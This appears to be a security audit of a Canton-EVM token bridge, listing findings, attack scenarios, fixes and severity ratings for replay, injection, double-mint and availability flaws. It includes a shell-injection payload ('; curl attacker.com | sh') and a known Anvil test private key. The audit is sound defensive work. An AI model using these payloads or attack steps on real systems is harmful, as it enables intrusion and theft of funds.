Canton-EVM Bridge

A valid M-of-N sig bundle collected for escrow A (small amount) could be replayed against escrow B (large amount). The intentHash was caller-supplied with no binding to the actual escrow being consumed.

Attacker collects a valid sig bundle for a small-value escrow they control, then replays it to release a large-value escrow belonging to another user.

Fix 1: intentEscrowContractId binding. In-contract assertion: show escrowHoldingCid == intentEscrowContractId. Coordinator encodes escrowContractId in intent pre-image. Sig bundle is bound to the specific escrow contract ID actually being consumed.

Low — in-contract assertion is authoritative. Pending external Daml audit to confirm.

server.js hardcoded BRIDGE_KEY as Anvil devnet key #0 (0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80) — a universally known test credential. Anyone with the key could mint arbitrary tokens.

Any developer or attacker aware of standard Anvil test keys could call BridgeVault.executeMint with forged calldata using the hardcoded EOA.

BRIDGE_KEY loaded exclusively from environment variable. Server fails hard at startup (process.exit(1)) if BRIDGE_KEY or ENDUSER_SIGNING_KEY are missing. Production deployments use KmsSigner — key never exists as plaintext.

None (architectural fix).

POST /api/bridge-in and /api/bridge-out accepted requests from any unauthenticated caller. The amount field came from req.body with only a positivity check. An external attacker could trigger arbitrary EVM minting and Canton escrow releases.

External attacker POSTs to /api/bridge-in with arbitrary amount and recipient, causing the coordinator to collect validator signatures and mint tokens without any authorization.

BRIDGE_API_KEY Bearer token required on all /api/bridge/* and /api/canton/* endpoints. Missing or incorrect token returns 401.

None. Note: BRIDGE_API_KEY is a shared secret; rotate on suspected compromise.

coordinator.js submitSettlement() built a shell command by string-interpolating intent fields into execSync(). evmBurnTxData from user POST body containing shell metacharacters would achieve full RCE on the coordinator host.

User POSTs a bridge-out-request with evmBurnTxData containing "; curl attacker.com | sh". coordinator.js passes this directly to execSync(), executing the injected shell command as the coordinator process user.

Replaced execSync(shell-string) with execFileSync(binary, argv_array). No shell is invoked; metacharacters in argv values cannot be interpreted by the OS shell.

None (architectural fix).

A sig bundle collected on one bridge deployment (testnet) could be replayed on another (mainnet) sharing the same validator keys but different BridgeVault address.

Validators sign intents on testnet. Attacker captures sig bundles and replays them on mainnet BridgeVault before validators notice, minting tokens on mainnet with testnet-authorized signatures.

bridgeVaultAddress and chainId are included in encodeIntent() and bound into intentHash. A signature is deployment-specific and chain-specific.

None.

Internal Canton Ledger API endpoints proxied at /api/canton/interactive-submission/* with no authentication, allowing unauthorized party onboarding and transaction submission.

Unauthenticated attacker hits /api/canton/interactive-submission/v2/commands/execute to submit arbitrary Canton commands as the BridgeOperator party.

Legacy proxy routes removed. All Canton HTTP API routes require BRIDGE_API_KEY. Only connected-synchronizers state endpoint remains proxied.

None.

FIREBLOCKS_WEBHOOK_SECRET was optional — if unset, all webhooks were accepted unauthenticated. String equality HMAC comparison was also vulnerable to timing oracle attacks.

Attacker sends crafted Fireblocks webhook events to trigger unauthorized bridge operations. Without a secret, all webhooks are accepted. With a weak comparison, attacker can recover the secret via timing side-channel.

Secret required at startup (server exits if missing). v2 HMAC format (timestamp + '.' + rawBody). crypto.timingSafeEqual for comparison. 5-minute timestamp freshness window.

None.

BigInt(Math.round(amount * 1e10)) in server.js introduced floating-point precision loss in amount conversion. Supply parity invariant could drift; carefully crafted amounts could cause double-spend scenarios.

User bridges an amount that triggers floating-point rounding, causing the minted EVM amount to differ from the Canton escrow amount. Over time, supply parity drifts, masking potential theft.

All token amounts use native BigInt arithmetic throughout. No floating-point operations on amounts anywhere in coordinator or server.

None.

nonce-store.js stored used nonces in process memory. Process restart reset the nonce counter to zero. An attacker resubmitting a previous intent with nonce=0 and a future deadline would succeed after a validator restart.

Validator process restarts (crash or deploy). Attacker immediately replays a previously seen settlement intent with nonce=0. The nonce store is empty, so the replay succeeds and the intent is double-processed.

SQLite-backed nonce store (NONCE_DB_PATH). Nonces persist across restarts. addNonce() is atomic and idempotent.

None.

Fireblocks webhook HMAC compared with === (JavaScript string equality). Not constant-time — enables statistical timing attacks to recover the webhook secret.

Attacker sends thousands of webhook requests with varying HMAC values, measuring response time to determine correct bytes of the secret via timing differences in string comparison.

crypto.timingSafeEqual used for all HMAC comparisons. Comparison is constant-time regardless of where strings diverge.

None.

BridgeOut choice in Bridge.daml had no validator signature requirement. A single compromised BridgeAdmin party key could release any escrow to any Canton party without M-of-N approval.

Attacker compromises the BridgeAdmin Canton party key. They call BridgeOut to release any user's escrow to an attacker-controlled Canton party, bypassing M-of-N validation entirely.

BridgeOut gated behind devMode == True. Production deployments set devMode = False; only VerifiedBridgeOut is active.

None in production. devMode = False must be verified at deploy time.

AddressMapping.UpdateEvmAddress was admin-controlled alone. A compromised admin could silently redirect bridge-in EVM recipients to an attacker address.

Attacker compromises BridgeAdmin. They call UpdateEvmAddress to change a victim's EVM address to an attacker-controlled address. All subsequent bridge-ins for that victim are minted to the attacker.

UpdateEvmAddress requires both admin AND cantonParty as controllers (Fix 3). User must co-sign address updates — admin alone cannot redirect.

None.

Admin routes (/api/admin/events, /api/admin/supply-parity, /api/admin/validator-set) were mounted with no authentication, exposing bridge state, validator set, and Canton escrow data to any caller.

Unauthenticated caller queries /api/admin/validator-set to enumerate all validator public keys and endpoint URLs, then uses this information to target validators for attack or social engineering.

ADMIN_API_KEY Bearer token required on all /api/admin/* routes. Missing or incorrect token returns 401.

None.

ecrecover in BridgeVault._recoverSigner() accepted high-s signatures (non-canonical). An attacker could submit a second valid-but-different signature for the same intent, potentially interfering with duplicate-signer detection.

Attacker takes a valid validator signature and transforms it to its high-s equivalent (still verifies to the same address). This could allow submitting two 'different' signatures from the same validator to count toward threshold twice.

Explicit high-s check per EIP-2: require(uint256(s) <= 0x7FFF...A0, 'Invalid s-value'). Also requires v == 27 || v == 28. New Forge test covers high-s rejection.

None.

transferMintAuthority() previously only emitted an event but did not revoke the old vault's mint rights. Both old and new vaults could mint tokens simultaneously after a vault migration.

After a vault migration, the old compromised vault still has mint authority. An attacker who compromised the old vault can still mint tokens even after the migration is complete.

transferMintAuthority() now calls IBridgedToken(bridgedToken).setMinter(newVault) — atomically moves the minter role in one transaction. Old vault self-revokes.

None.

The coordinator is a single un-replicated Node.js process. On crash or restart, two critical in-memory data structures are lost: CantonWatcher._seen (tracks which BridgeOperation contractIds have been emitted) and BridgeReactor._processing (tracks in-flight operations). Additionally, coordinator.js uses execFileSync (synchronous), blocking the event loop for up to 120 seconds per settlement.

When the watcher re-emits active operations after restart, BridgeReactor._settle() constructs a new SettlementIntent with nonce = BigInt(Date.now()). A fresh nonce produces a different intentHash, which produces a different intentId for BridgeVault.executeMint. The vault's usedIntents mapping does not recognize the new intentId, so the second mint executes successfully — two EVM mints for one Canton lock.

Critical — double-mint on restart is possible until _seen is persisted to SQLite and nonces are derived deterministically from escrow contract ID.

All bridge operations require the Canton admin/BridgeOperator party. Pre-migration (BRIDGE_OPERATOR_EXTERNAL not yet enabled), BridgeOperator uses a single software key (CANTON_SIGNING_KEY). The BridgeOperatorSignatureCoordinator exists but is not yet activated. The Canton admin party's SetGlobalPause on BridgeRegistry requires only a single party signature — no timelock, no M-of-N, no delay.

Compromise of the single CANTON_SIGNING_KEY grants unilateral control over all Canton-side bridge operations with no M-of-N requirement. Alternatively, Canton participant unavailability halts the bridge with 120s timeout per failed canton-exec call.

Critical — BRIDGE_OPERATOR_EXTERNAL=true must be activated immediately to distribute signing across M-of-N validators.

The minimum attack to halt signing requires taking (N - M + 1) validators offline. With N=2, either validator offline causes total signing failure if threshold=2. There is no retry loop in collectSignatures — a single failed fan-out returns ThresholdNotMet. No health-check monitoring surfaces validator reachability to operators.

DDoS or infrastructure compromise of N-M+1 validators halts all bridge operations. With N=2, a single validator outage is sufficient. Duration ranges from minutes (DDoS) to indefinite (infrastructure compromise), leaving user funds stuck during the outage.

High — validator set should be expanded to N>=5 with M=3; retry-with-backoff should be added to collectSignatures.

All EVM transactions route through a single EVM_RPC URL. No fallback, no retry. In bridge-reactor.js, cast publish with 60s timeout; on failure the contractId is in _seen so the operation will not be retried in the current process run — permanently dropped unless the coordinator restarts (with double-mint risk). Admin view calls fail silently (return null).

DDoS or outage of the single EVM RPC endpoint causes bridge-in mints and bridge-out burns to fail silently. Operations are permanently dropped within a run without any operator visibility from the status page.

High — EVM RPC failover list, retry logic with exponential backoff, and persistent failed-operation queue are needed.

pause() requires one PAUSER_ROLE holder; unpause() requires owner (Safe multisig) through 48h TimelockController. Asymmetric: one EOA compromise = instant halt, 48-hour recovery. Canton-side BridgeRegistry.SetGlobalPause has no equivalent threshold — single admin party, no timelock.

Attacker compromises one PAUSER_ROLE key. They call pause() — instant, no quorum. All executeMint calls revert with EnforcedPause. Recovery: Safe multisig must propose unpause to TimelockController, wait 48h, execute. Attacker can repeat after recovery if key is not revoked.

High — minimum 48-hour outage guaranteed per compromised PAUSER_ROLE key. Require 2-of-N for pause() or add shorter timelock for unpause.

Deletion resets the nonce counter to 0, re-entering previously signed nonces into the available pool. Corruption causes better-sqlite3 to throw at startup, crashing the validator and dropping it from the signing pool. tmpfs deployment means the DB is lost on every container restart. Single file, no backup, no replication, no durability assertions.

An attacker who can delete the nonce store file causes the validator to crash (corruption) or lose replay protection (deletion). With a two-validator setup, crashing one validator may push below threshold, halting all signing.

High — durable persistent volume, startup integrity assertion, WAL+backup, and tracking signed intentHashes rather than raw nonces are all required.

_seen Set is in-memory only. On restart, all active BridgeOperation contracts are re-emitted (double-processing risk). Operations created AND consumed while coordinator was down are silently skipped as missed events. No historical replay capability. No pagination in ACS query — large ACS responses may be truncated silently.

After a coordinator restart, all in-flight bridge operations are re-attempted from scratch. Combined with the Date.now() nonce issue, each re-attempt generates a new intentId not in usedIntents, enabling double-mint. Operations that completed during the downtime window are silently lost.

High — persist _seen to SQLite and migrate to Canton transaction stream with offset tracking for reliable event replay.

When SANCTIONS_PROVIDER=chainalysis or elliptic, every bridge operation calls the external API. No timeout, no retry, no cache, no circuit breaker. API outage causes fetch() to throw, failing all bridge operations. No default timeout means a slow API server can hold event loop connections open indefinitely.

Targeted slow-response attack against the Chainalysis/Elliptic API endpoint causes the coordinator's fetch() calls to hang indefinitely, collapsing throughput to zero. Rate limit exhaustion at the provider has the same effect. Third-party API reliability is fundamentally outside bridge operator control.

High — add 5s fetch timeout via AbortSignal.timeout, implement circuit breaker, add 1-hour result cache, and add configurable fail-open mode with mandatory alerting.

The Canton admin party can instantly (no timelock, no M-of-N) pause the bridge, modify asset configs, delete address mappings, and force-cancel user operations. Delete+recreate of AddressMapping bypasses the UpdateEvmAddress co-signing fix — the attacker creates a new mapping pointing to their EVM address without user consent. No Canton governance equivalent to the EVM's 48h TimelockController + Safe multisig.

Canton admin key compromise enables instant bridge halt, address mapping hijack (bridge-in funds redirected to attacker), and user operation force-cancel. The attacker removes and recreates an AddressMapping for a victim, then waits for the victim's next bridge-in to steal the EVM mint proceeds.

High — implement M-of-N governance for Canton admin actions, add user co-signing to RemoveMapping, migrate admin keys to HSM, add Canton-side pause timelock.

mTLS is optional (falls back to HTTP if env vars missing). Certs are read once at startup — no refresh, no expiry monitoring. Cert expiry causes all validator connections to fail, halting the bridge. DNS poisoning of validator hostnames can redirect to attacker servers, and without mTLS this exposes shared secrets.

Certificate expiry silently causes a complete bridge outage with no warning. Operators have no visibility into upcoming cert expirations. DNS poisoning (without mTLS) enables an attacker to intercept validator signing requests and harvest intent data.

Medium — make mTLS mandatory at startup, implement cert rotation without restart via periodic createSecureContext() reload, monitor cert expiry with 30/7-day warnings.

Monitor is detective-only; real violations require manual operator response. False positives occur during normal operation due to timing gaps between EVM mint and Canton ACS propagation. Monitor errors (EVM RPC down) are silently swallowed — real violations can go undetected during infrastructure outages.

A real supply parity violation (mint bug or theft) persists without automatic bridge halt until an operator manually reviews SSE events. False positives during normal load cause unnecessary operational intervention. Infrastructure outages hide real violations from the monitor entirely.

Medium — add N-poll persistence window before emitting violation, implement auto-halt trigger on confirmed violations, emit monitor-error events not just logs.

execFileSync(cantonExec, args, { timeout: 120_000 }) freezes the entire Node.js event loop for up to 2 minutes per settlement. During this window: no HTTP requests served, no watcher polls, no health checks, no admin SSE. Cascading queue under load creates indefinite freezes.

Under multi-operation load, each concurrent settlement attempt adds up to 120s of event loop freeze time. The coordinator appears alive to external monitors (process is running) but is completely unresponsive. Admin SSE disconnects, watcher polls miss events, and users see unexplained bridge delays.

Medium — replace execFileSync with async execFile; use worker threads or process pool to isolate canton-exec from the HTTP serving loop.

M colluding validators sign two distinct intents covering the same Canton escrow contract but specifying different EVM recipients. Both intentHashes differ (all fields are included in keccak256), so BridgeVault.executeMint marks usedIntents[H1]=true and usedIntents[H2]=true independently. Both mints succeed, producing 2x tokens for 1x Canton escrow.

A compromised coordinator runs two separate collectSignatures rounds (one for H1, one for H2) against the same pool of colluding validators. Both bundles achieve M-of-N threshold. BridgeVault's usedIntents does not recognize the same escrow in two different intents. EVM token supply is inflated beyond Canton-locked backing.

Critical — add usedEscrows[bytes32 escrowContractId] mapping to BridgeVault to prevent the same escrow from appearing in more than one successfully-executed mint.

BridgeWorkflow deployed with adminApprovalThreshold=1 means a ValidatorConfigProposal needs only 1 bridgeAdmin approval. A single compromised bridgeAdmin key can propose newThreshold=1 with their own pubkey as sole validator, self-approve, and gain unilateral signing control over all future bridge operations.

1. Attacker compromises bridgeAdmin key. 2. Calls ProposeValidatorConfigChange with newThreshold=1 and their own pubkey. 3. Calls ApproveValidatorConfig as the same bridgeAdmin (1-of-1 threshold met). 4. BridgeWorkflow recreated with threshold=1. 5. Attacker signs all future intents unilaterally and drains all in-flight escrow operations.

Critical — enforce minimum adminApprovalThreshold >= ceil(2/3 * bridgeAdmins.length) at deployment; separate bridgeAdmin role from BridgeWorkflow signatory.

coordinator.js postJson accumulates the HTTP response body without a size limit: res.on('data', (chunk) => { data += chunk; }). A malicious validator returns a 1 GB response to a /api/sign-settlement-intent request. With N validators in parallel via Promise.allSettled, N simultaneous large responses multiply memory pressure. The same pattern exists in bridge-operator-coordinator.js.

A single Byzantine validator node returns a multi-GB response body to every signing request. The coordinator buffers the entire response before JSON.parse. With 2 validators and 2 concurrent settlements, the coordinator OOMs and crashes, halting the bridge and losing all in-flight signature collections.

High — add a 64 KB size guard in the data event handler and apply the same fix to bridge-operator-coordinator.js.

If a validator is rotated out between sig collection and on-chain submission, the removed validator's signature is rejected (validatorSet[signer] is false on EVM; elem pk validatorPubKeys is false on Canton). If exactly M sigs were collected with no spare, validCount < threshold and the operation fails. The coordinator has no mechanism to detect mid-flight rotation or retry with a fresh sig.

An attacker controls both M validators and Safe multisig. They collect exactly M sigs with validator set V, then trigger removal of one of those M validators via TimelockController (48h delay on EVM, no minimum on Canton). Submitting the now-invalid bundle fails, leaving the user's escrow locked indefinitely.

High — coordinator should retain all N signatures (not just M), add epoch tracking to detect rotations, and enforce a minimum ValidatorConfigProposal deadline.

A Byzantine validator inspects escrowContractId, recipient, or amount in the signing request and selectively refuses to sign for specific users. The coordinator logs this as 'validator unreachable' — identical to a legitimate network failure. No structured comparison of which intents each validator signed vs. refused; no cryptographic proof of refusal vs. failure.

With N=5, M=3, three Byzantine validators targeting the same user block all their operations without triggering alarms. Ops team sees standard 'validator unreachable' warnings. Affected users' intents expire; they must resubmit indefinitely. Byzantine validators can permanently censor specific users.

High — implement structured per-intent validator response logging with correlation; randomize coordinator contact order to prevent strategic abstention.

The per-validator HTTP timeout in coordinator is 30 seconds. A Byzantine validator can delay their response to 29.9 seconds for every signing request without triggering the timeout but maximally consuming coordinator time. Near-deadline intents may fail on-chain even though sigs were collected, requiring full re-collection with a new nonce and deadline.

A single Byzantine validator responds to every signing request at the 29.9-second mark. Bridge throughput drops from ~100ms per operation to ~30s per operation. Under sustained load, the coordinator's operation queue grows unboundedly. Operations near their Canton intent deadline fail even after sigs are collected.

Medium — enforce per-validator response deadline calculated as min(DEFAULT_TIMEOUT, intentDeadline - now() - SUBMISSION_BUFFER) and monitor for slow-signing validators.

After signing a SettlementIntent, a validator knows the intentHash and all intent fields. They can construct their own executeMint call and submit it with higher gas before the coordinator's tx lands. The EVM tx succeeds (valid sig bundle), marks usedIntents[intentId]=true, and mints tokens to the correct recipient. When the coordinator's tx arrives, it reverts with IntentAlreadyUsed — wasting gas.

Byzantine validator front-runs every executeMint the coordinator submits. Coordinator wastes gas on every bridge-in transaction. Alerting on IntentAlreadyUsed generates noise. If the coordinator retries on IntentAlreadyUsed, it compounds waste. No fund theft (tokens go to correct recipient), but sustained economic griefing and operational disruption.

Medium — treat IntentAlreadyUsed as success when tokens were minted to correct recipient; use private mempool or MEV-protected RPC for executeMint submissions.

After BRIDGE_OPERATOR_EXTERNAL=true migration, Canton transactions require M-of-N Ed25519 signatures via PartyToKeyMapping in addition to secp256k1 intent signatures. A Byzantine validator can sign the secp256k1 SettlementIntent (passing coordinator's secp256k1 threshold) but refuse to sign the Ed25519 Canton op at /api/sign-canton-op, causing the Canton submission to fail after secp256k1 collection is already complete.

With N-M+1 Byzantine validators refusing Ed25519 signing, the Ed25519 threshold is never met even though secp256k1 threshold is satisfied. The coordinator must retry but the secp256k1 intent deadline may have expired, forcing a full re-collection cycle. Sustained attack blocks all bridge-out operations.

Medium — collect Ed25519 sigs before secp256k1 sigs, or parallelize both rounds with separate deadlines to allow recovery within the secp256k1 intent deadline window.

When a validator is rotated out, in-flight sig bundles they signed are invalidated at execution. However, there is no 'validatorSetEpoch' field in the SettlementIntent encoding that cryptographically binds sigs to the validator set at collection time. The residual risk is the brief window between rotation approval and on-chain application of the new validator set.

A validator who knows they are about to be rotated out pre-signs future intents speculatively. If a crash recovery scenario causes stale sig bundles to be persisted to disk, the now-invalid validator's sig silently reduces the effective sig count on recovery. With N=2, this could drop below threshold.

Medium — include a validatorSetEpoch field in SettlementIntent encoding verified at execution time to cryptographically bind every sig to the current validator set.

ProposeValidatorConfigChange checks count parity (length newValidatorPubKeys == length validators) but does NOT verify that each new pubkey corresponds to the correct validator party. A proposer could reorder, duplicate, or substitute pubkeys. The newThreshold is validated (>= 1, <= length newValidatorPubKeys) but not validated to maintain the calculateTwoThirdsThreshold minimum.

A bridgeAdmin with adminApprovalThreshold=1 (see RT2-AVAIL-2-F2) sets newThreshold=1 while keeping the validator count at N, reducing security without reducing apparent validator count. Combined with Finding 2, a single bridgeAdmin executes this unilaterally.

Low standalone; Critical when combined with RT2-AVAIL-2-F2. Add newThreshold >= calculateTwoThirdsThreshold(length validators) enforcement in ProposeValidatorConfigChange.

BridgeOperator, Validator1, and EndUser are all hosted on participant1. If participant1 crashes, the bridge coordinator cannot submit new Canton transactions (it uses participant1's HTTP Ledger API). The escrow expiry recovery path (ExpireBridgeEscrow / CancelBridgeOperation) also requires BridgeOperator to act on participant1. User cannot call CancelBridgeIn until expiresAt passes AND they can reach participant1.

A deliberate or accidental participant1 outage of >1 hour leaves users unable to recover their escrowed tokens for the duration of the outage. Even after participant1 recovers, no automated recovery job exists; the background expiry loop must be manually restarted with no logic gaps.

Critical — distribute parties across participants; activate Phase 11 BridgeOperator external-party migration; add persistent recovery queue that survives coordinator restarts.

CantonWatcher tracks seen contracts in an in-memory Set (this._seen). On coordinator restart, the set is empty. The next poll returns all currently-active BridgeOperation contracts from the ACS, including those already processed. BridgeReactor._onBridgeOperation checks this._processing (also in-memory, also empty). Every already-processed BridgeOperation still on ACS is treated as a new event and fed through _settle().

1. Bridge processes BridgeOperation #42, mints 100 EVM tokens. 2. Coordinator restarts. 3. ACS still contains BridgeOperation #42. 4. Watcher re-emits it. 5. Reactor generates new intent with nonce=Date.now() — different from original nonce, therefore different intentHash. 6. BridgeVault.usedIntents does not block the new intentHash. 7. Second mint succeeds — 200 tokens minted for 100 Canton-locked tokens.

Critical — persist processed contractId -> txHash mappings to SQLite; reload on startup before first poll.

Two concurrent processes can act on the same BridgeOperation: the settlement path (bridge-reactor) and the expiry path (background job in server.js). No distributed lock or Canton-level coordination exists between them. If the coordinator crashes and restarts near the expiry boundary, the expiry job can archive the escrow and return tokens to the user while the restarted coordinator simultaneously collects sigs and submits an EVM mint.

1. Coordinator crashes at T+55min, restarts at T+1h-5s. 2. Background expiry job fires at T+1h+1s, exercises ExpireBridgeEscrow — user recovers Canton tokens. 3. Restarted coordinator polls ACS, finds BridgeOperation (still active), starts settlement, collects sigs with fresh nonce=Date.now(). 4. EVM mint may succeed. 5. User has both Canton tokens AND newly minted EVM tokens — double-spend.

Critical — add Canton-level guard via SettlementLock contract or single SettleOrExpire consuming choice; make nonce deterministic from Canton contractId.

The synchronizer is bootstrapped with exactly one sequencer (sequencer1) and one mediator (mediator1). The sequencer is the sole ordering service. If it crashes or is partitioned, all Canton transactions halt with no failover, no replica, no graceful degradation. In-flight operations that reached BridgeEscrowHolding but not EVM mint are stuck until sequencer recovers.

Any sequencer outage causes total bridge outage. A malicious party controlling sequencer infrastructure can selectively censor bridge transactions. Sequencer crash during a bridge-in leaves user escrow locked and unprocessable until sequencer recovers.

High — deploy sequencer in BFT configuration with >=2f+1 replicas; configure synchronizerThreshold accordingly; add monitoring and alerting.

canton-http-client.js implements the interactive submission flow with prepareSubmit and submitSigned. If prepareSubmit succeeds but submitSigned fails (network error, signing failure, timeout), the prepared transaction is abandoned in Canton's store with no explicit cleanup call. Retries with new commandIds may create duplicate BridgeOperation records or trigger consistency errors.

Network blip between prepare and execute leaves orphaned prepared transactions accumulating in Canton's store (memory/disk pressure). On retry with a new commandId, if the ACS has changed (e.g., escrow expired), execute fails with a consistency error but the original prepared transaction is still pending. Over time, orphaned transactions cause performance degradation.

High — implement prepare->execute with idempotent commandId tied to operationId; call discard endpoint on failure; add retry with exponential backoff reusing the same commandId.

bridge-reactor.js:82-86 uses JavaScript's new Date() (wall clock) to check if a BridgeOperation is expired. If the coordinator's clock is ahead of Canton ledger time, operations valid on-chain are skipped off-chain as expired. If Canton ledger time is ahead, the expiry check in Daml contracts could prevent legitimate cancellation while the reactor believes the operation is still active.

Clock drift or NTP misconfiguration on the coordinator host causes the reactor to skip valid operations as 'expired.' User funds stay locked until they manually cancel. Asymmetric behavior (different skew direction) makes debugging unpredictable. Silent loss of bridge operations with no alerting.

High — replace wall-clock expiry check with Canton-enforced expiry only; add configurable grace buffer; monitor clock skew between coordinator and Canton sequencer.

The _seen Set is the only deduplication mechanism for the watcher. On restart, losing _seen causes every already-processed operation to trigger settlement-error or double-mint. BridgeReactor emits settlement-error events, which downstream monitoring may interpret as new failures. The resetSeen() method exists and can be called programmatically with no access control preventing accidental or malicious invocation from test code in production.

After coordinator restart, all active BridgeOperation contracts re-emit settlement attempts. Operators scramble to diagnose apparent new failures that are replay noise. If any operation succeeds on retry (due to Date.now() nonce variation), a double-mint occurs. resetSeen() called accidentally in a production deployment causes immediate replay of all active operations.

High — persist _seen to SQLite; load on startup; remove or gate resetSeen() behind a maintenance flag.

canton-http-client.js uses bare fetch() with no timeout, no retry, and no circuit-breaker. Under high latency or transient Canton unavailability, submitCommands can hang indefinitely. A submission that times out may have been received and processed by Canton. On retry with a new commandId, Canton creates a second command — potentially a second BridgeOperation record for the same escrow, polluting the audit trail.

Transient Canton network blip causes the coordinator's fetch() to hang for minutes without error. The operation appears in-flight but is actually already committed on Canton. On timeout, the coordinator retries with a new commandId, creating a duplicate BridgeOperation. The watcher detects both records and attempts to settle both, generating spurious settlement errors.

Medium — set AbortController timeout (30s) on all fetch calls; use deterministic commandId from operationId so Canton can deduplicate retries; add exponential backoff.

If Bridge.daml DAR is upgraded (new package ID), in-flight contracts created under the old package ID become inaccessible to new code. canton-watcher.js uses hardcoded templateIds including the package ID. After a DAR upgrade, old-package-ID contracts remain on the ACS under their original template ID but the watcher watches the new template ID and misses them. No documented upgrade migration path for in-flight contracts exists.

A DAR upgrade performed while bridge operations are in-flight silently abandons all pending operations. No user notification, no automated recovery. Users must manually exercise CancelBridgeIn on old contracts using the old BridgeWorkflow, which may itself be archived by the upgrade migration.

Medium — document pre-upgrade checklist: drain in-flight operations before upgrade; add DAR migration script that exercises CancelBridgeIn on active operations before new DAR deploy.

BridgeOperation.operationId is a free Text field with no uniqueness constraint enforced at the Daml level. A buggy or malicious coordinator could create two BridgeOperation contracts with the same operationId for different escrows, breaking audit tooling that correlates by operationId, confusing the supply parity monitor, and corrupting downstream reconciliation that treats operationId as a primary key.

A misconfigured coordinator creates duplicate operationId values across two different bridge operations. Audit tooling collapses the two operations into one record, losing one from the audit trail. Supply parity monitor miscounts operations. No direct financial exploit (Canton contract IDs remain unique), but audit trail integrity is compromised.

Low — enforce uniqueness via BridgeOperationIndex singleton contract or derive operationId deterministically from the Canton contract ID of the allocation.

All critical coordinator state is in memory only: BridgeReactor._processing Set, CantonWatcher._seen Set, active collectSignatures Promise chain with partial sigs, and the Date.now() intent nonce. The SQLite used_nonces table is validator-side replay protection only, not coordinator-side operation tracking. On crash, all in-flight signature collections are discarded and operations must be retried from scratch.

Coordinator crash mid-bridge-in loses all partial signature collections. On restart, all active BridgeOperation contracts are retried simultaneously (thundering herd on validators). Any operation whose EVM mint already succeeded generates a new nonce on retry, bypassing usedIntents and causing double-mint.

High — persist in-flight and completed contractIds to SQLite; reload before CantonWatcher starts polling on startup.

In bridge-reactor.js, nonce = BigInt(Date.now()) is generated at the moment _settle() is called, not from a durable counter. Each coordinator restart produces new nonces for the same BridgeOperation contracts. If a restart occurs between EVM mint and Canton settlement (or if Canton settlement fails), the BridgeOperation remains active on ACS and gets re-attempted with a fresh nonce/intentHash not tracked by usedIntents.

1. Coordinator processes BridgeOperation X, mints 100 tokens with nonce=T1, usedIntents[hash(T1)]=true. 2. Coordinator crashes before Canton settlement. 3. Restart: _seen empty, ACS has BridgeOperation X. 4. New intent with nonce=T2. 5. usedIntents[hash(T2)] not set. 6. Second executeMint succeeds. 7. Double-mint: 200 tokens for 100 Canton-locked tokens.

Critical — write (contractId -> nonce) mapping to SQLite before sending to validators; reuse previously assigned nonce for same contractId on restart; add BridgeVault dedup by escrowContractId.

No PID-file lock or distributed lock prevents two coordinator instances from running simultaneously. Process supervisor restarts before old process dies, or manual double-start, causes both instances to have empty _seen Sets. Both poll Canton ACS simultaneously, see the same BridgeOperation, both generate different nonces (different Date.now() values), both collect threshold signatures from validators (validators have no per-contractId dedup), and both call executeMint with different intentHashes.

Process supervisor sends SIGKILL then immediately forks new coordinator. Both instances start within milliseconds. They both see BridgeOperation X, generate nonces T1 and T2. SQLite file locking is the only partial mitigation (fragile and unintentional). Both executeMint calls succeed with different intentIds. Double-mint occurs.

Critical — implement coordinator.lock PID file checked at startup; use Redis SETNX for distributed deployments; BridgeVault must deduplicate by escrowContractId as final safety net.

server.js:758-806 runs setInterval every 5 minutes with error handling that only calls console.error. Per-contract errors are also log-only. No metrics, no alerts, no dead-man's-switch. If the ACS query permanently fails (Canton RPC down, auth token expired), expired escrows are never cleaned up and user funds remain locked past the expiry deadline indefinitely.

Canton JWT expires after 24 hours. The escrow expiry job starts returning 401 Unauthorized on every ACS query. console.error lines appear in logs but no alert fires. Expired escrows accumulate. Users whose bridge operations timed out cannot recover their funds. Operators are unaware until a user manually reports the issue.

Medium — emit metric/counter when expiry job fails; halt bridge after N consecutive failures; write last-successful-run timestamp to SQLite for external monitor staleness checks.

On parity-violation event, server.js logs to console and broadcasts SSE. Bridge operations continue unhalted. If no admin dashboard is connected, the SSE event is dropped silently. The parity check has a TOCTOU race: EVM totalSupply and Canton ACS sum are fetched sequentially, not atomically. Every in-flight bridge operation during a poll cycle generates a spurious violation.

A real supply parity violation occurs (e.g., double-mint bug). The parity monitor fires the event. No admin dashboard is connected. The event is silently dropped. The bridge continues minting tokens against an already-violated supply invariant. The violation grows with every subsequent bridge-in. No automatic halt occurs.

High — add configurable circuit breaker: bridgeHalted flag set after N consecutive confirmed violations; debounce of >=2 poll cycles before treating violation as real.

For bridge-in: contractId is added to CantonWatcher._seen before the settlement attempt. After a settlement failure, the contractId remains in _seen, so CantonWatcher will never re-emit it. The failed operation is permanently dead unless the coordinator restarts (with double-mint risk). For bridge-out: execSync(cast publish) blocks event loop; on failure the Canton escrow is already locked and manual admin action via /api/admin/recovery/cancel-bridge-in is required.

Transient EVM RPC blip causes the cast publish call to fail. The contractId is already in _seen and will never be retried. The user's Canton tokens stay in escrow with no automatic recovery path. The 1-hour expiry will eventually release them, but only if the expiry job is working. A stuck pending EVM tx with underpaid gas blocks all subsequent mints from the same EOA.

High — implement retry with exponential backoff for failed EVM submissions; use a separate failed Set distinct from _seen so failed operations can be retried; monitor for stuck pending transactions.

coordinator.js uses Promise.allSettled(this.validators.map(...)) which waits for all N validators to respond (or timeout at 30s each) before evaluating whether threshold is met. If M-of-N=2-of-5 and the first two validators respond in 50ms, the coordinator still waits up to 30 seconds for the remaining 3 validators to time out.

In a 5-validator setup with 2 slow validators, every bridge operation is delayed 30 seconds regardless of whether threshold was already met. Under high load, operations queue up behind 30-second delays, causing user-visible latency for all bridge operations even when sufficient validators are responsive.

Low — use Promise.race with a manual threshold counter to short-circuit once M valid signatures arrive; cancel outstanding requests via AbortController.

Multiple admin and bridge endpoints call execSync (synchronous child process spawn) blocking the entire Node.js event loop: server.js cantonQueryRaw (60s timeout), signMintTx, signBurnTx, bridge-out-request, and admin-routes.js castVaultCall and castErc20Call. The admin dashboard polls /api/admin/events via SSE every 5 seconds, which triggers canton-exec subprocess spawns. Under concurrency, these stack up indefinitely.

An attacker (or misconfigured admin dashboard) makes concurrent authenticated requests to GET /api/admin/status. Serial event loop blocks of up to 60s each accumulate. During these blocks: CantonWatcher setTimeout callbacks cannot fire (polling stops), BridgeReactor Promise resolutions are deferred, all HTTP requests are queued. The bridge is effectively offline while the process remains alive.

High — replace execSync in all hot paths with async execFile/spawn; add rate limiting to all /api/admin/* endpoints.

